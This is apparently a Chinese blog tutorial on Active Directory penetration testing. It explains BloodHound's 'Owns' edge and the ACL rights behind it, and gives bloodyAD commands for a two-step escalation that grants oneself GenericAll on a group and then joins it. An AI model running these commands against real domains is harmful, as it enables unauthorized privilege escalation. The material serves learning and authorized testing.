域渗透 – BloodHound Owns 详解
Owns vs MemberOf:核心区别
| 属性 | Owns | MemberOf |
|---|---|---|
| 含义 | 你对这个对象有”管理控制权” | 你在这个组里 |
| 底层 | ACL 上的 Owner / GenericAll / WriteDACL / WriteOwner | Group 对象的 member 属性 |
| 效果 | 可以改权限、重置密码、加人 | 继承该组的权限/特权 |
| 类比 | 你是房东,想怎么改怎么改 | 你是业主,享受权益但不能改管理规则 |
一句话总结:
Owns = 你能控制它(写权限)
MemberOf = 你从它那里获得权限(读/继承)
Owns 的三种底层 ACL 权限
BloodHound 显示 Owns 连接线,可能来自三种 ACL 权限之一:
Owns 的底层 ACL
├── GenericAll → ✅ 可直接 groupMember add
├── WriteDACL → ❌ 不能直接加,但可以改 ACL
└── WriteOwner → ❌ 只能改拥有者
⚠️ 常见陷阱: BloodHound 说 “Owns” 不代表你就能直接改 member。必须点开 BloodHound 详情面板查看具体是哪一种权限。
如何查看具体权限
在 BloodHound GUI 中:
- 点击
Owns连接线 - 右侧详情面板看 “Abuse Info”
- 看显示的具体 Edge 类型(GenericAll / WriteDACL / WriteOwner)
关键知识点英文原文
“Object owners retain the ability to modify object security descriptors, regardless of permissions on the object’s DACL.”
逐词拆解:
| 单词/短语 | 发音 | 意思 | 域渗透场景含义 |
|---|---|---|---|
| ownership | /ˈoʊnərʃɪp/ | 所有权、拥有者身份 | 你不是”有权限”而是”就是主人” |
| retain | /rɪˈteɪn/ | 保留、依然持有 | 不管别人怎么改 ACL,你始终有这能力 |
| ability | /əˈbɪləti/ | 能力 | 技术上的可能性 |
| modify | /ˈmɑːdɪfaɪ/ | 修改 | 增删改对象的属性 |
| security descriptor | /sɪˈkjʊrəti dɪˈskrɪptər/ | 安全描述符 | 对象的”权限身份证” |
| regardless of | /rɪˈɡɑːrdləs əv/ | 不管、无论 | 后面的条件无效 |
| DACL | — | Discretionary Access Control List | “谁有什么权限的规则表” |
| insufficient access rights | /ˌɪnsəˈfɪʃənt/ | 权限不足 | LDAP 修改操作无权限 |
白话翻译:
你是这个组的”主人”。主人天生有权改这个组的权限设置,哪怕规则表上写着”主人不能干这事”——你不受这个规则限制。
攻击路径实操
Owner 权限(最常见陷阱)
场景:用户 --Owner--> 目标组
直接操作 → ❌ insufficientAccessRights
正确做法:两步走
# 第一步:用 Owner 特权给自己授权 GenericAll
bloodyAD -d 域名 -u 用户 --host DC_IP -k \
add genericAll "CN=目标组,CN=Users,DC=域名,DC=com" 用户
# 第二步:把自己加进组
bloodyAD -d 域名 -u 用户 --host DC_IP -k \
add groupMember "目标组" 用户
GenericAll 权限(直接加)
# 一步到位
bloodyAD -d 域名 -u 用户 --host DC_IP -k \
add groupMember "目标组" 用户
工具推荐
| 场景 | 推荐工具 |
|---|---|
| Linux (Kali) — ACL 操作 | bloodyAD(专门针对 ACL 滥用) |
| Linux — 暴力提权 | dcomexec.py(impacket 系列) |
| Linux — Samba 自带 | net rpc group addmem |
| Windows — PowerView | Add-DomainGroupMember |
| Windows — 原生 AD 模块 | Add-ADGroupMember |
bloodyAD 常用命令参考
# 语法
bloodyAD -d 域名 -u 用户名 --host DC_IP [-p 密码 | -k] add/remove groupMember 目标组 用户
bloodyAD -d 域名 -u 用户名 --host DC_IP [-p 密码 | -k] add/remove genericAll 目标DN 用户
# 参数说明
# -k → Kerberos 认证(已有 TGT)
# -p → NTLM 密码认证
# --host → 域控 IP
# --dns → DNS 服务器(可选,与 host 冲突时补)
评论